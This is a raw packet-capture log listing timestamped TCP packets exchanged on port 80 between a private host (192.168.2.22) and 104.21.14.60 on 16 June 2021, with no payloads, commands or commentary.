Jun 16, 2021 12:04:54.024910927 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.024931908 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.024941921 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.024966955 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.024977922 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.025110960 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.025654078 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.025686026 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.025707960 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.025768995 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.025821924 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.025934935 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.025959969 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.025975943 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.026026964 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.026061058 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.026093006 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.026115894 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.026133060 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.026141882 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.026171923 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.026173115 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.026195049 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.026249886 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.026395082 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.026525974 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.026942968 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.026972055 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.027003050 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.027031898 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.027046919 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.027051926 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.027070999 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.027095079 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.027100086 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.027132988 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.027137041 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.027159929 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.027184963 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.027241945 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.027342081 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.027678013 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.027920008 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.027951002 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.027971029 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.027992964 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.028017998 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.028026104 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.028043032 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.028063059 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.028069019 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.028086901 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.028093100 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.028114080 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.028119087 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.028157949 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.028419971 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.028664112 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.028856039 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.028886080 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.028909922 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.028933048 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.028944969 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.028955936 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.028979063 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.028987885 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.029004097 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.029016972 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.029026985 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.029052973 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.029062033 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.029131889 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.029233932 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.029485941 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.029791117 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.029824018 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.029854059 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.029874086 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.029886007 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.029898882 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.029917002 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.029932022 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.029956102 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.029979944 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.029985905 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.030011892 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.030049086 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.030201912 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.030293941 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.030762911 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.030793905 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.030817986 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.030839920 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.030863047 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.030884981 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.030891895 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.030914068 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.030922890 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.030942917 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.030967951 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.030968904 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.031006098 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.031033039 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.031270981 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.031636953 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.031727076 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.031754971 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.031780958 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.031805992 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.031816959 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.031832933 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.031833887 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.031857967 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.031872034 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.031883001 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.031902075 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.031908035 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.031930923 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.031949043 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.032186985 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.032402039 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.032699108 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.032726049 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.032749891 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.032773018 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.032778978 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.032797098 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.032819033 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.032838106 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.032860041 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.032875061 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.032883883 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.032912970 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.033623934 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.033654928 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.033679008 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.033696890 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.033723116 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.033922911 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.033951044 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.033979893 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.034004927 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.034007072 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.034030914 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.034054995 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.034066916 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.034076929 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.034096956 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.034101009 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.034133911 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.034147024 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.034904003 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.034936905 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.034961939 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.034990072 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.034991980 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.035013914 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.035027027 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.035036087 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.035058022 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.035059929 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.035087109 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.035110950 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.035130978 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.035175085 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.035876036 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.035906076 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.035929918 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.035962105 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.035963058 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.035990953 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.036007881 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.036015987 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.036039114 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.036060095 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.036061049 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.036083937 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.036108971 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.036842108 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.036871910 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.036892891 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.036901951 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.036919117 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.036943913 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.036946058 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.036967993 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.036994934 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.036997080 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.037020922 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.037043095 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.037050962 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.037085056 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.037806988 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.037837982 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.037868023 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.037890911 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.037911892 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.037916899 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.037940979 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.037942886 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.037965059 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.037986994 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.037996054 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.038027048 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.038042068 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.038747072 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.038780928 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.038805008 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.038810015 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.038840055 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.039077997 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.039103985 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.039158106 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.039160013 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.039185047 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.039203882 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.039227962 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.039848089 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.039962053 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.698050022 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.741703033 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.905277967 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.905308008 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.905324936 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.905339956 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.905354977 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.905369997 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.905381918 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.905476093 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.905754089 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.905777931 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.905795097 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.905802011 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.905811071 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.905814886 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.905847073 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.905864000 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.905879974 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.905894041 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.905895948 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.905914068 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.905935049 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.905946016 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.905956030 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.906024933 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.906403065 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.906420946 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.906435966 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.906451941 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.906467915 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.906480074 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.906482935 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.906501055 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.906517029 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.906524897 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.906539917 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.906558037 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.906562090 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.906574011 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.906618118 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.907082081 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.907104969 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.907305956 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.907325029 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.907341003 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.907356977 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.907370090 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.907372952 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.907390118 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.907408953 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.907417059 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.907428026 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.907444954 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.907460928 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.907476902 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.907476902 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.907495975 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.908230066 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.908247948 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.908263922 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.908283949 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.908298016 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.908302069 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.908318043 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.908334017 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.908350945 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.908366919 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.908366919 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.908384085 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.908385992 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.908390045 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.908394098 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.908402920 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.908442020 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.908674955 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.909159899 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.909181118 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.909193039 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.909205914 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.909218073 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.909229040 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.909245014 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.909256935 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.909269094 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.909281015 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.909281969 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.909291029 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.909295082 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.909310102 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.909343004 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.910120010 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.910137892 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.910150051 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.910164118 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.910176039 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.910188913 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.910202026 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.910213947 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.910226107 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.910228968 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.910238028 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.910238981 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.910253048 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.910254002 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.910299063 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.910624981 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.910978079 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.911000013 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.911012888 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.911024094 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.911036015 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.911048889 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.911061049 CEST	80	49167	104.21.14.60	192.168.2.22
